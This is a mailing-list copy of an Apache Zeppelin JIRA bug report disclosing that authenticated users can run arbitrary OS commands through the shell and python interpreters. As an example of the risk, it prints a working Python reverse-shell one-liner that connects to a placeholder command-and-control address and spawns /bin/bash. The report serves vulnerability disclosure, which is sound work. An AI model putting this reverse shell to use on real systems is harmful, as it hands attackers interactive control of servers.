You are viewing a plain text version of this content. The canonical link for it is here.

Posted to dev@zeppelin.apache.org by "GuruRaj (JIRA)" <ji...@apache.org> on 2019/08/01 09:41:00 UTC

[jira] [Created] (ZEPPELIN-4287) Remote Code Execution

GuruRaj created ZEPPELIN-4287:
---------------------------------

             Summary: Remote Code Execution
                 Key: ZEPPELIN-4287
                 URL: https://issues.apache.org/jira/browse/ZEPPELIN-4287
             Project: Zeppelin
          Issue Type: Bug
          Components: Interpreters
    Affects Versions: 0.8.0
            Reporter: GuruRaj
         Attachments: rce_1.png

Hi Team,
 
We have noticed that zeppelin is vulnerable to Remote code execution, where authenticated user will be able to execute arbitrary code on the server with help of Interpreter.
 
Case1: User can select the shell interpreter and execute the OS command directly and can get the reverse shell from there if needed.
 
Case2: User can select any other interrupter like python and get to execute the OS commands from there. For example we can get the reverse shell from the below code
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<c&c ip>",<port no>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' 
 



--
This message was sent by Atlassian JIRA
(v7.6.14#76016)